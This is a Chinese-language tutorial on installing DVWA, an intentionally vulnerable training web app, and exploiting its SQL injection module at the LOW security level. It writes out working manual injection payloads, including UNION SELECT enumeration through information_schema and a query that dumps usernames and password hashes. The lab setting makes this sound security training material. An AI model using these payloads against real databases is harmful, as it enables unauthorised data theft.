一:簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在爲安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
一共有十個模塊:
暴力(破解)、命令行注入、跨站請求僞造、文件包含、文件上傳、不安全的驗證碼、SQL注入、SQL盲注、弱會話ID、XSS漏洞(DOM型跨站腳本、反射型跨站腳本、 存儲型跨站腳本)
二: 環境搭建
1、下載DVWA,下載地址:http://www.dvwa.co.uk/
2、安裝PHP集成環境,我這裏安裝的是PhpStudy,下載地址:http://phpstudy.php.cn/
3、把下載好的DWVA解壓,放在D:\PhpStudy\PHPTutorial\WWW中(因爲我將phpStudy安裝在D盤,所以是D:\PhpStudy)。
4、需要配置DVWA鏈接數據庫,請打開config文件夾(在DVWA目錄下),如果打開是config.inc.php.dist的話,複製它,重命名爲config.inc.php,再打開config.inc.php,把密碼設置爲空。
5、打開瀏覽器訪問:http://localhost/DVWA/,拉到下面,點擊Setup/Reset DB,點擊Create/Reset Database。
6、創建成功後,訪問http://localhost/DVWA/login.php輸入用戶名,密碼登陸,默認用戶名 admin 默認密碼 password。三:SQL注入模塊(SQLMAP)
1、輸入一個數字,然後submit
2、我們這裏要查看Cookie,因爲這有登陸頁面,右鍵---檢查,查看Cookie。
3、打開sqlmap,輸入命令,查看數據庫
4、查表
我們也可以在紅線目錄下查看
5、查表裏數據
6、查看字段的數據
四:SQL手工注入(安全級別爲LOW級)
上面用的是sqlmap獲取數據庫信息,現在使用手工注入來獲取數據庫的信息。
思路:1.判斷是否存在注入,注入是字符型還是數字型
2.猜解SQL查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.下載數據
後端數據庫語句:SELECT first_name, last_name FROM users WHERE user_id = '$id'
(1)輸入1,查詢成功。
輸入1' or '1'='1,返回了多個結果,說明存在字符型注入。
傳到後端語句變爲:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
(2)輸入1' or 1=1 order by 2 #,查詢成功。輸入1' or 1=1 order by 3 #,查詢失敗。說明字段爲2
也可以通過輸入1' union select 1,2 #來猜解字段數
(3)獲取當前數據庫,輸入1' union select 1,database() #,查詢成功。當前的數據庫爲dvwa。
(4)獲取數據庫中的表
輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功。數據庫dvwa中一共有兩個表,guestbook與users
(5)獲取表中的字段名
輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功。users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
(7)下載數據
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功。
SQL注入LOW級的這樣就基本結束了!!!這只是最簡單的SQL注入,沒什麼技術含量,難的在後面,加油,小夥伴們。